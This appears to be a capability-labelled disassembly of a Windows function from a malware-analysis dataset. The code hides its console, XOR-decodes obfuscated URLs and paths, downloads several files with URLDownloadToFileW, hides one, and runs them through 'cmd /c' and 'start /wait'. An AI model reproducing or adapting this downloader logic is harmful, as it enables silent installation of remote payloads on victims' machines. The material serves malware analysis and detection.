Function at 0x14005ce30
Capabilities:
Download url
Encode data using xor
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x1400f8010]
xor rax, rsp
mov qword [rbp + 0x2f8], rax
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
mov edx, 4
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x1401d4978], eax
jle 0x14005ced1
lea rcx, [0x1401d4978]
call fcn.140066aa0
cmp dword [0x1401d4978], 0xffffffff
jne 0x14005ced1
lea rcx, [0x1401d4988]
call fcn.14005b1e0
lea rcx, [0x1400693c0]
call fcn.140066de8
nop
lea rcx, [0x1401d4978]
call fcn.140066a40
cmp qword [0x1401d4998], 0
je 0x14005cf90
lea rcx, [rbp + 0x160]
call fcn.14005b1e0
nop
cmp qword [rbp + 0x170], 0
je 0x14005cf0a
lea rcx, [rbp + 0x160]
call fcn.14005b960
test al, al
je 0x14005cf0a
mov al, 1
jmp 0x14005cf11
call fcn.14005b5b0
xor al, al
mov byte [0x1401d41d2], al
mov rdx, qword [rbp + 0x178]
cmp rdx, 0x10
jb 0x14005cf62
inc rdx
mov rcx, qword [rbp + 0x160]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005cf56
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005cf56
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
movzx eax, byte [0x1401d41d2]
test al, al
jne 0x14005cf90
xor r8d, r8d
lea rdx, [0x14006b46a]
lea rcx, [0x1401d4988]
call fcn.140063f90
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x60], 0xd7a7d7ba
mov dword [rsp + 0x64], 0xd7a5d7a0
mov dword [rsp + 0x68], 0xd7edd7a5
mov dword [rsp + 0x6c], 0xd7f6d7f7
mov dword [rsp + 0x70], 0xd7bad7a8
mov dword [rsp + 0x74], 0xd7f3d7ab
mov dword [rsp + 0x78], 0xd7b6d7b9
mov dword [rsp + 0x7c], 0xd789d794
mov dword [rbp - 0x80], 0xd781d797
mov dword [rbp - 0x7c], 0xd796d791
mov dword [rbp - 0x78], 0xd795d783
mov dword [rbp - 0x74], 0xd786d78b
mov dword [rbp - 0x70], 0xd79fd784
mov dword [rbp - 0x6c], 0xd783d789
mov dword [rbp - 0x68], 0xd7c1d79a
mov dword [rbp - 0x64], 0xd79ed793
mov dword [rbp - 0x60], 0xd7dcd79f
mov dword [rbp - 0x5c], 0xd79ad783
mov dword [rbp - 0x58], 0xd798d799
mov dword [rbp - 0x54], 0xd79dd79e
mov dword [rbp - 0x50], 0xd7bcd7d5
mov dword [rbp - 0x4c], 0xd79cd78e
mov dword [rbp - 0x48], 0xd79ad79c
mov dword [rbp - 0x44], 0xd873d865
mov dword [rbp - 0x40], 0xd866d846
mov dword [rbp - 0x3c], 0xd871d877
mov dword [rbp - 0x38], 0xd87ed874
mov dword [rbp - 0x34], 0xd870d867
mov dword [rbp - 0x30], 0xd866d825
mov dword [rbp - 0x2c], 0xd864d86d
mov dword [rbp - 0x28], 0xd820d860
mov dword [rbp - 0x24], 0xd874d864
mov dword [rbp - 0x20], 0xd863d87f
mov dword [rbp - 0x1c], 0xd877d83a
mov dword [rbp - 0x18], 0xd863d877
mov word [rbp - 0x14], di
mov byte [rbp - 0x12], 1
mov rcx, rdi
mov esi, 0x282e
nop dword [rax]
movzx eax, cx
sub ax, si
xor word [rsp + rcx*2 + 0x60], ax
inc rcx
cmp rcx, 0x46
jb 0x14005d0a0
mov byte [rbp - 0x12], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2e8], xmm1
mov r8d, 0x46
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x2d8]
call fcn.140002ad0
nop
mov dword [rbp], 0xd7a7d7ba
mov dword [rbp + 4], 0xd7a5d7a0
mov dword [rbp + 8], 0xd7edd7a5
mov dword [rbp + 0xc], 0xd7f6d7f7
mov dword [rbp + 0x10], 0xd7bad7a8
mov dword [rbp + 0x14], 0xd7f3d7ab
mov dword [rbp + 0x18], 0xd7b6d7b9
mov dword [rbp + 0x1c], 0xd789d794
mov dword [rbp + 0x20], 0xd781d797
mov dword [rbp + 0x24], 0xd796d791
mov dword [rbp + 0x28], 0xd795d783
mov dword [rbp + 0x2c], 0xd786d78b
mov dword [rbp + 0x30], 0xd79fd784
mov dword [rbp + 0x34], 0xd783d789
mov dword [rbp + 0x38], 0xd7c1d79a
mov dword [rbp + 0x3c], 0xd79ed793
mov dword [rbp + 0x40], 0xd7dcd79f
mov dword [rbp + 0x44], 0xd79ad783
mov dword [rbp + 0x48], 0xd798d799
mov dword [rbp + 0x4c], 0xd79dd79e
mov dword [rbp + 0x50], 0xd7bcd7d5
mov dword [rbp + 0x54], 0xd79cd78e
mov dword [rbp + 0x58], 0xd79ad79c
mov dword [rbp + 0x5c], 0xd873d865
mov dword [rbp + 0x60], 0xd866d846
mov dword [rbp + 0x64], 0xd871d877
mov dword [rbp + 0x68], 0xd87ed874
mov dword [rbp + 0x6c], 0xd870d867
mov dword [rbp + 0x70], 0xd866d825
mov dword [rbp + 0x74], 0xd864d86d
mov dword [rbp + 0x78], 0xd820d860
mov dword [rbp + 0x7c], 0xd874d864
mov dword [rbp + 0x80], 0xd863d87f
mov dword [rbp + 0x84], 0xd83bd820
mov dword [rbp + 0x88], 0xd876d874
mov dword [rbp + 0x8c], 0xd86c
mov byte [rbp + 0x90], 1
mov rcx, rdi
nop word [rax + rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2], ax
inc rcx
cmp rcx, 0x47
jb 0x14005d200
mov byte [rbp + 0x90], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2c8], xmm1
mov r8d, 0x47
lea rdx, [rbp]
lea rcx, [rbp + 0x2b8]
call fcn.140002ad0
nop
mov dword [rsp + 0x60], 0xd7a7d7ba
mov dword [rsp + 0x64], 0xd7a5d7a0
mov dword [rsp + 0x68], 0xd7edd7a5
mov dword [rsp + 0x6c], 0xd7f6d7f7
mov dword [rsp + 0x70], 0xd7bad7a8
mov dword [rsp + 0x74], 0xd7f3d7ab
mov dword [rsp + 0x78], 0xd7b6d7b9
mov dword [rsp + 0x7c], 0xd789d794
mov dword [rbp - 0x80], 0xd781d797
mov dword [rbp - 0x7c], 0xd796d791
mov dword [rbp - 0x78], 0xd795d783
mov dword [rbp - 0x74], 0xd786d78b
mov dword [rbp - 0x70], 0xd79fd784
mov dword [rbp - 0x6c], 0xd783d789
mov dword [rbp - 0x68], 0xd7c1d79a
mov dword [rbp - 0x64], 0xd79ed793
mov dword [rbp - 0x60], 0xd7dcd79f
mov dword [rbp - 0x5c], 0xd79ad783
mov dword [rbp - 0x58], 0xd798d799
mov dword [rbp - 0x54], 0xd79dd79e
mov dword [rbp - 0x50], 0xd7bcd7d5
mov dword [rbp - 0x4c], 0xd79cd78e
mov dword [rbp - 0x48], 0xd79ad79c
mov dword [rbp - 0x44], 0xd873d865
mov dword [rbp - 0x40], 0xd866d846
mov dword [rbp - 0x3c], 0xd871d877
mov dword [rbp - 0x38], 0xd87ed874
mov dword [rbp - 0x34], 0xd870d867
mov dword [rbp - 0x30], 0xd866d825
mov dword [rbp - 0x2c], 0xd864d86d
mov dword [rbp - 0x28], 0xd820d860
mov dword [rbp - 0x24], 0xd874d864
mov dword [rbp - 0x20], 0xd863d87f
mov dword [rbp - 0x1c], 0xd83bd821
mov dword [rbp - 0x18], 0xd876d874
mov dword [rbp - 0x14], 0xd86c
mov byte [rbp - 0x10], 1
mov rcx, rdi
movzx eax, cx
sub ax, si
xor word [rsp + rcx*2 + 0x60], ax
inc rcx
cmp rcx, 0x47
jb 0x14005d352
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x298], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x2a8], xmm1
mov r8d, 0x47
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x298]
call fcn.140002ad0
nop
mov dword [rbp], 0xd7a7d7ba
mov dword [rbp + 4], 0xd7a5d7a0
mov dword [rbp + 8], 0xd7edd7a5
mov dword [rbp + 0xc], 0xd7f6d7f7
mov dword [rbp + 0x10], 0xd7bad7a8
mov dword [rbp + 0x14], 0xd7f3d7ab
mov dword [rbp + 0x18], 0xd7b6d7b9
mov dword [rbp + 0x1c], 0xd789d794
mov dword [rbp + 0x20], 0xd781d797
mov dword [rbp + 0x24], 0xd796d791
mov dword [rbp + 0x28], 0xd795d783
mov dword [rbp + 0x2c], 0xd786d78b
mov dword [rbp + 0x30], 0xd79fd784
mov dword [rbp + 0x34], 0xd783d789
mov dword [rbp + 0x38], 0xd7c1d79a
mov dword [rbp + 0x3c], 0xd79ed793
mov dword [rbp + 0x40], 0xd7dcd79f
mov dword [rbp + 0x44], 0xd79ad783
mov dword [rbp + 0x48], 0xd798d799
mov dword [rbp + 0x4c], 0xd79dd79e
mov dword [rbp + 0x50], 0xd7bcd7d5
mov dword [rbp + 0x54], 0xd79cd78e
mov dword [rbp + 0x58], 0xd79ad79c
mov dword [rbp + 0x5c], 0xd873d865
mov dword [rbp + 0x60], 0xd866d846
mov dword [rbp + 0x64], 0xd871d877
mov dword [rbp + 0x68], 0xd87ed874
mov dword [rbp + 0x6c], 0xd870d867
mov dword [rbp + 0x70], 0xd866d825
mov dword [rbp + 0x74], 0xd864d86d
mov dword [rbp + 0x78], 0xd820d860
mov dword [rbp + 0x7c], 0xd874d864
mov dword [rbp + 0x80], 0xd863d87f
mov dword [rbp + 0x84], 0xd83bd822
mov dword [rbp + 0x88], 0xd876d874
mov dword [rbp + 0x8c], 0xd86c
mov byte [rbp + 0x90], 1
mov rcx, rdi
nop dword [rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2], ax
inc rcx
cmp rcx, 0x47
jb 0x14005d4b0
mov byte [rbp + 0x90], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x278], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x288], xmm1
mov r8d, 0x47
lea rdx, [rbp]
lea rcx, [rbp + 0x278]
call fcn.140002ad0
nop
mov dword [rsp + 0x60], 0xd7a7d7ba
mov dword [rsp + 0x64], 0xd7a5d7a0
mov dword [rsp + 0x68], 0xd7edd7a5
mov dword [rsp + 0x6c], 0xd7f6d7f7
mov dword [rsp + 0x70], 0xd7bad7a8
mov dword [rsp + 0x74], 0xd7f3d7ab
mov dword [rsp + 0x78], 0xd7b6d7b9
mov dword [rsp + 0x7c], 0xd789d794
mov dword [rbp - 0x80], 0xd781d797
mov dword [rbp - 0x7c], 0xd796d791
mov dword [rbp - 0x78], 0xd795d783
mov dword [rbp - 0x74], 0xd786d78b
mov dword [rbp - 0x70], 0xd79fd784
mov dword [rbp - 0x6c], 0xd783d789
mov dword [rbp - 0x68], 0xd7c1d79a
mov dword [rbp - 0x64], 0xd79ed793
mov dword [rbp - 0x60], 0xd7dcd79f
mov dword [rbp - 0x5c], 0xd79ad783
mov dword [rbp - 0x58], 0xd798d799
mov dword [rbp - 0x54], 0xd79dd79e
mov dword [rbp - 0x50], 0xd7bcd7d5
mov dword [rbp - 0x4c], 0xd79cd78e
mov dword [rbp - 0x48], 0xd79ad79c
mov dword [rbp - 0x44], 0xd873d865
mov dword [rbp - 0x40], 0xd866d846
mov dword [rbp - 0x3c], 0xd871d877
mov dword [rbp - 0x38], 0xd87ed874
mov dword [rbp - 0x34], 0xd870d867
mov dword [rbp - 0x30], 0xd866d825
mov dword [rbp - 0x2c], 0xd864d86d
mov dword [rbp - 0x28], 0xd820d860
mov dword [rbp - 0x24], 0xd879d873
mov dword [rbp - 0x20], 0xd870d877
mov dword [rbp - 0x1c], 0xd83bd87f
mov dword [rbp - 0x18], 0xd86fd873
mov dword [rbp - 0x14], 0xd87d
mov byte [rbp - 0x10], 1
mov rcx, rdi
movzx eax, cx
sub ax, si
xor word [rsp + rcx*2 + 0x60], ax
inc rcx
cmp rcx, 0x47
jb 0x14005d602
mov byte [rbp - 0x10], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x258], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x268], xmm1
mov r8d, 0x47
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x258]
call fcn.140002ad0
nop
mov dword [rbp + 0x160], 0xd7e9d791
mov dword [rbp + 0x164], 0xd7a7d784
mov dword [rbp + 0x168], 0xd7b0d7b9
mov dword [rbp + 0x16c], 0xd7b8d7aa
mov dword [rbp + 0x170], 0xd79fd7b7
mov dword [rbp + 0x174], 0xd7a9d7bd
mov dword [rbp + 0x178], 0xd783d7bf
mov dword [rbp + 0x17c], 0xd789d783
mov dword [rbp + 0x180], 0xd780d787
mov dword [rbp + 0x184], 0xd7cbd78f
mov dword [rbp + 0x188], 0xd79fd783
mov dword [rbp + 0x18c], 0xd78d
mov byte [rbp + 0x190], 1
mov rcx, rdi
nop dword [rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0x160], ax
inc rcx
cmp rcx, 0x17
jb 0x14005d6d0
mov byte [rbp + 0x190], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], rdi
mov qword [rbp + 0x1b0], rdi
mov r8d, 0x17
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x198]
call fcn.140002ad0
nop
mov dword [rbp + 0xa0], 0xd7e9d791
mov dword [rbp + 0xa4], 0xd7a7d784
mov dword [rbp + 0xa8], 0xd7b0d7b9
mov dword [rbp + 0xac], 0xd7b8d7aa
mov dword [rbp + 0xb0], 0xd79fd7b7
mov dword [rbp + 0xb4], 0xd7a9d7bd
mov dword [rbp + 0xb8], 0xd783d7bf
mov dword [rbp + 0xbc], 0xd784d794
mov dword [rbp + 0xc0], 0xd793d78f
mov dword [rbp + 0xc4], 0xd787d7ca
mov dword [rbp + 0xc8], 0xd793d787
mov word [rbp + 0xcc], di
mov byte [rbp + 0xce], 1
mov rcx, rdi
nop
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0xa0], ax
inc rcx
cmp rcx, 0x16
jb 0x14005d7a0
mov byte [rbp + 0xce], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x218], xmm0
mov qword [rbp + 0x228], rdi
mov qword [rbp + 0x230], rdi
mov r8d, 0x16
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x218]
call fcn.140002ad0
nop
mov dword [rbp + 0x160], 0xd7e9d791
mov dword [rbp + 0x164], 0xd7a7d784
mov dword [rbp + 0x168], 0xd7b0d7b9
mov dword [rbp + 0x16c], 0xd7b8d7aa
mov dword [rbp + 0x170], 0xd79fd7b7
mov dword [rbp + 0x174], 0xd7a9d7bd
mov dword [rbp + 0x178], 0xd783d7bf
mov dword [rbp + 0x17c], 0xd784d794
mov dword [rbp + 0x180], 0xd793d78f
mov dword [rbp + 0x184], 0xd7cbd7d0
mov dword [rbp + 0x188], 0xd786d784
mov dword [rbp + 0x18c], 0xd79c
mov byte [rbp + 0x190], 1
mov rcx, rdi
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0x160], ax
inc rcx
cmp rcx, 0x17
jb 0x14005d872
mov byte [rbp + 0x190], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1f8], xmm0
mov qword [rbp + 0x208], rdi
mov qword [rbp + 0x210], rdi
mov r8d, 0x17
lea rdx, [rbp + 0x160]
lea rcx, [rbp + 0x1f8]
call fcn.140002ad0
nop
mov dword [rbp + 0xa0], 0xd7e9d791
mov dword [rbp + 0xa4], 0xd7a7d784
mov dword [rbp + 0xa8], 0xd7b0d7b9
mov dword [rbp + 0xac], 0xd7b8d7aa
mov dword [rbp + 0xb0], 0xd79fd7b7
mov dword [rbp + 0xb4], 0xd7a9d7bd
mov dword [rbp + 0xb8], 0xd783d7bf
mov dword [rbp + 0xbc], 0xd784d794
mov dword [rbp + 0xc0], 0xd793d78f
mov dword [rbp + 0xc4], 0xd7cbd7d1
mov dword [rbp + 0xc8], 0xd786d784
mov dword [rbp + 0xcc], 0xd79c
mov byte [rbp + 0xd0], 1
mov rcx, rdi
nop dword [rax]
nop dword [rax + rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0xa0], ax
inc rcx
cmp rcx, 0x17
jb 0x14005d950
mov byte [rbp + 0xd0], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], rdi
mov qword [rbp + 0x1f0], rdi
mov r8d, 0x17
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x1d8]
call fcn.140002ad0
nop
mov dword [rbp + 0xd8], 0xd7e9d791
mov dword [rbp + 0xdc], 0xd7a7d784
mov dword [rbp + 0xe0], 0xd7b0d7b9
mov dword [rbp + 0xe4], 0xd7b8d7aa
mov dword [rbp + 0xe8], 0xd79fd7b7
mov dword [rbp + 0xec], 0xd7a9d7bd
mov dword [rbp + 0xf0], 0xd783d7bf
mov dword [rbp + 0xf4], 0xd784d794
mov dword [rbp + 0xf8], 0xd793d78f
mov dword [rbp + 0xfc], 0xd7cbd7d2
mov dword [rbp + 0x100], 0xd786d784
mov dword [rbp + 0x104], 0xd79c
mov byte [rbp + 0x108], 1
mov rcx, rdi
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0xd8], ax
inc rcx
cmp rcx, 0x17
jb 0x14005da22
mov byte [rbp + 0x108], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1b8], xmm0
mov qword [rbp + 0x1c8], rdi
mov qword [rbp + 0x1d0], rdi
mov r8d, 0x17
lea rdx, [rbp + 0xd8]
lea rcx, [rbp + 0x1b8]
call fcn.140002ad0
nop
lea r8, [rbp + 0x218]
cmp qword [rbp + 0x230], 8
cmovae r8, qword [rbp + 0x218]
lea rdx, [rbp + 0x2d8]
cmp qword [rbp + 0x2f0], 8
cmovae rdx, qword [rbp + 0x2d8]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005e64a
lea r8, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 8
cmovae r8, qword [rbp + 0x1f8]
lea rdx, [rbp + 0x2b8]
cmp qword [rbp + 0x2d0], 8
cmovae rdx, qword [rbp + 0x2b8]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005e64a
lea r8, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 8
cmovae r8, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x298]
cmp qword [rbp + 0x2b0], 8
cmovae rdx, qword [rbp + 0x298]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005e64a
lea r8, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 8
cmovae r8, qword [rbp + 0x1b8]
lea rdx, [rbp + 0x278]
cmp qword [rbp + 0x290], 8
cmovae rdx, qword [rbp + 0x278]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005e64a
mov dword [rbp], 0xd7a7d7ba
mov dword [rbp + 4], 0xd7a5d7a0
mov dword [rbp + 8], 0xd7edd7a5
mov dword [rbp + 0xc], 0xd7f6d7f7
mov dword [rbp + 0x10], 0xd7bad7a8
mov dword [rbp + 0x14], 0xd7f3d7ab
mov dword [rbp + 0x18], 0xd7b6d7b9
mov dword [rbp + 0x1c], 0xd789d794
mov dword [rbp + 0x20], 0xd781d797
mov dword [rbp + 0x24], 0xd796d791
mov dword [rbp + 0x28], 0xd795d783
mov dword [rbp + 0x2c], 0xd786d78b
mov dword [rbp + 0x30], 0xd79fd784
mov dword [rbp + 0x34], 0xd783d789
mov dword [rbp + 0x38], 0xd7c1d79a
mov dword [rbp + 0x3c], 0xd79ed793
mov dword [rbp + 0x40], 0xd7dcd79f
mov dword [rbp + 0x44], 0xd79ad783
mov dword [rbp + 0x48], 0xd798d799
mov dword [rbp + 0x4c], 0xd79dd79e
mov dword [rbp + 0x50], 0xd7bcd7d5
mov dword [rbp + 0x54], 0xd79cd78e
mov dword [rbp + 0x58], 0xd79ad79c
mov dword [rbp + 0x5c], 0xd873d865
mov dword [rbp + 0x60], 0xd866d846
mov dword [rbp + 0x64], 0xd871d877
mov dword [rbp + 0x68], 0xd87ed874
mov dword [rbp + 0x6c], 0xd870d867
mov dword [rbp + 0x70], 0xd866d825
mov dword [rbp + 0x74], 0xd864d86d
mov dword [rbp + 0x78], 0xd820d860
mov dword [rbp + 0x7c], 0xd866d876
mov dword [rbp + 0x80], 0xd875d877
mov dword [rbp + 0x84], 0xd871d867
mov dword [rbp + 0x88], 0xd860d870
mov dword [rbp + 0x8c], 0xd837d87d
mov dword [rbp + 0x90], 0xd863d87f
mov dword [rbp + 0x94], 0xd879
mov byte [rbp + 0x98], 1
mov rcx, rdi
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2], ax
inc rcx
cmp rcx, 0x4b
jb 0x14005dcb0
mov byte [rbp + 0x98], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x170], xmm1
mov r8d, 0x4b
lea rdx, [rbp]
lea rcx, [rbp + 0x160]
call fcn.140002ad0
nop
mov dword [rbp + 0x110], 0xd7e9d791
mov dword [rbp + 0x114], 0xd782d788
mov dword [rbp + 0x118], 0xd7b9d7bf
mov dword [rbp + 0x11c], 0xd7b6d7bc
mov dword [rbp + 0x120], 0xd7a8d7ad
mov dword [rbp + 0x124], 0xd78ed780
mov dword [rbp + 0x128], 0xd7acd7a7
mov dword [rbp + 0x12c], 0xd784d794
mov dword [rbp + 0x130], 0xd7d0d78f
mov dword [rbp + 0x134], 0xd7b9d7d6
mov dword [rbp + 0x138], 0xd790d780
mov dword [rbp + 0x13c], 0xd78fd78d
mov dword [rbp + 0x140], 0xd78fd799
mov dword [rbp + 0x144], 0xd79ad78a
mov dword [rbp + 0x148], 0xd7c1d78b
mov dword [rbp + 0x14c], 0xd789d795
mov dword [rbp + 0x150], 0xd797
mov byte [rbp + 0x154], 1
mov rcx, rdi
nop dword [rax + rax]
movzx eax, cx
sub ax, si
xor word [rbp + rcx*2 + 0x110], ax
inc rcx
cmp rcx, 0x21
jb 0x14005ddb0
mov byte [rbp + 0x154], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x238], xmm0
mov qword [rbp + 0x248], rdi
mov qword [rbp + 0x250], rdi
mov r8d, 0x21
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x238]
call fcn.140002ad0
nop
lea r8, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 8
cmovae r8, qword [rbp + 0x198]
lea rdx, [rbp + 0x258]
cmp qword [rbp + 0x270], 8
cmovae rdx, qword [rbp + 0x258]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005de64
lea rcx, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 8
cmovae rcx, qword [rbp + 0x198]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [rbp + 0x238]
cmp qword [rbp + 0x250], 8
cmovae r8, qword [rbp + 0x238]
lea rdx, [rbp + 0x160]
cmp qword [rbp + 0x178], 8
cmovae rdx, qword [rbp + 0x160]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
js 0x14005e59f
movabs rbx, 0x7ffffffffffffffe
mov rax, rbx
mov rcx, qword [rbp + 0x228]
sub rax, rcx
cmp rax, 7
jb 0x14005eb10
lea rax, [rbp + 0x218]
cmp qword [rbp + 0x230], 8
cmovae rax, qword [rbp + 0x218]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.cmd__c
lea rcx, [rsp + 0x40]
call fcn.1400652c0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cbb0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005df54
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005df4f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e12b
call fcn.1400668e4
mov rax, rbx
mov rcx, qword [rbp + 0x208]
sub rax, rcx
cmp rax, 7
jb 0x14005eb10
lea rax, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 8
cmovae rax, qword [rbp + 0x1f8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.cmd__c
lea rcx, [rsp + 0x40]
call fcn.1400652c0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cbb0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005dff4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005dfef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e12b
call fcn.1400668e4
mov rax, rbx
mov rcx, qword [rbp + 0x1e8]
sub rax, rcx
cmp rax, 7
jb 0x14005eb10
lea rax, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 8
cmovae rax, qword [rbp + 0x1d8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.cmd__c
lea rcx, [rsp + 0x40]
call fcn.1400652c0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cbb0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e094
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e08f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005e12b
call fcn.1400668e4
mov rax, rbx
mov rcx, qword [rbp + 0x1c8]
sub rax, rcx
cmp rax, 7
jb 0x14005eb10
lea rax, [rbp + 0x1b8]
cmp qword [rbp + 0x1d0], 8
cmovae rax, qword [rbp + 0x1b8]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 7
lea r9, str.cmd__c
lea rcx, [rsp + 0x40]
call fcn.1400652c0
nop
lea rcx, [rsp + 0x40]
call fcn.14005cbb0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e137
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e132
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e132
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
mov rcx, qword [rbp + 0x1a8]
sub rbx, rcx
cmp rbx, 0xc
jb 0x14005eb16
lea rax, [rbp + 0x198]
cmp qword [rbp + 0x1b0], 8
cmovae rax, qword [rbp + 0x198]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0xc
lea r9, str.start__wait
lea rcx, [rbp + 0xa0]
call fcn.1400652c0
nop
mov r8d, 1
lea rdx, [0x1400eb3f8]
lea rcx, [rbp + 0xa0]
call fcn.140002a30
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
lea rcx, [rsp + 0x40]
call fcn.14005cbb0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x14005e213
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e20d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005e20d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400668e4
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 8
jb 0x14005e25c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
